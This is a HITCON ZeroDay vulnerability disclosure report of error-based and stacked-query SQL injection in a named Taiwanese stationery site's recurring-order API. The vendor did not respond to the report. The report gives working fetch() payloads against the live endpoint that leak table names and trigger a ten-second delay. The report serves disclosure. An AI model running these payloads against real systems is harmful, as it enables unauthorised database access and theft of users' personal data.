享亮文具樂園 "常態訂單" 功能 Error-Based-SQLi + Stacked-Queries-SQLi - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2025-01352
  •  發信 Vendor: 享亮文具樂園
  • Title: 享亮文具樂園 "常態訂單" 功能 Error-Based-SQLi + Stacked-Queries-SQLi
  • Introduction: "常態訂單" 功能 Error-Based-SQLi + Stacked-Queries-SQLi

處理狀態

目前狀態

公開
Last Update : 2025/12/23
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2025/10/23 19:43:55 : 新提交 (由 yusheng 更新此狀態)
  • 2025/10/23 19:47:47 : 新提交 (由 yusheng 更新此狀態)
  • 2025/10/23 19:48:51 : 新提交 (由 yusheng 更新此狀態)
  • 2025/10/27 16:17:29 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/11/05 13:54:30 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/11/05 13:54:30 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/11/05 13:54:31 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2025/12/23 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2025-01352
  • 通報者:cat1528985 (yusheng)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

常態訂單頁:https://xl-stationer.com.tw/OftenOrder.asp
新增常態訂單API:https://xl-stationer.com.tw/_Models/mOftenOrderAdd.asp

敘述

承接 ZD-2025-01101,這次在 "常態訂單" 功能找到 SQLi

重現漏洞方式

  1. 免費註冊 https://xl-stationer.com.tw/member.asp
  2. 新增常態訂單API,嘗試注入單引號
    fetch("https://xl-stationer.com.tw/_Models/mOftenOrderAdd.asp", {
    "headers": {
    "content-type": "application/x-www-form-urlencoded",
    },
    "body": "id='&ranNum=43",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
    });

    看到以下 SQL Error Message(00000000 是 memberId,為了避免我的 memberId 被公開,所以改成 00000000 )

    insert into CusItemTemplate(CusId,itemId,Price,CreateTime,Creater,memberId,Qty) select '00000000',''',Price,getdate(),'00000000','00000000',1 from Item with(nolock) where Id=''' and id not in (select itemId from CusItemTemplate with(nolock) where memberId='00000000')
    [Microsoft][ODBC SQL Server Driver][SQL Server]接近 '00000000' 之處的語法不正確。
  3. 嘗試注入以下 SQL,成功取得第一筆 table_name
    123',CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables)),getdate(),'00000000','00000000',1;SELECT NULL--123

    空字串會被 strip 掉,所以改用 %20,server 會先 decode 成空字串,再塞到 SQL 語法

    fetch("https://xl-stationer.com.tw/_Models/mOftenOrderAdd.asp", {
    "headers": {
    "content-type": "application/x-www-form-urlencoded",
    },
    "body": "id=123',CONVERT(int,(SELECT%20TOP%201%20table_name%20FROM%20information_schema.tables)),getdate(),'00000000','00000000',1;SELECT%20NULL--123&ranNum=81",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
    });

    圖片

  4. 可使用 Stacked-Queries 執行多個 SQL 語法,嘗試注入以下 SQL,確認有延遲 10 秒
    123',1,getdate(),'00000000','00000000',1;IF (1=1) WAITFOR DELAY '0:0:10'--123
    fetch("https://xl-stationer.com.tw/_Models/mOftenOrderAdd.asp", {
    "headers": {
    "content-type": "application/x-www-form-urlencoded",
    },
    "body": "id=123',1,getdate(),'00000000','00000000',1;IF%20(1=1)%20WAITFOR%20DELAY%20'0:0:10'--123&ranNum=99",
    "method": "POST",
    "mode": "cors",
    "credentials": "include"
    });

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;